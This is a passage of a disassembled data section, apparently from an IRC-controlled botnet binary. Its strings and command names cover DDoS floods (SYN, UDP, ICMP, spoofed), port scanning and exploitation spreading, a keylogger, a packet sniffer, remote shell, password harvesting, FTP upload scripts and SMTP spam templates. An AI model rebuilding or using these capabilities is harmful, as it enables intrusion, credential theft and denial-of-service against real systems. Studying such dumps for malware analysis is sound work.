		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431550	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_4315BC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_4315C8	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431610	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D6o
		align 4
unk_431694	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_4316D8	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_431724	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43176C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_4317DC	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431824	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_43187C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_4318C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43190C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_431960	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_431998	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4319D4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_431A4C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_431AA4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_431DF0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_431E1C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_431E4C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_431E78	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_431EB0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_431EE0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_431F3C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_431F6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
		align 4
dword_431FA8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 10h
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_431FF8	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_432044	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_432074	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4320A4	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 10h
unk_4320E0	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_432140	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_432178	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_4321C4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_432210	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_432250	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 10h
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 10h
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 10h
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 10h
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 10h
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 10h
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_43251C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 10h
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_432648	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_432694	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
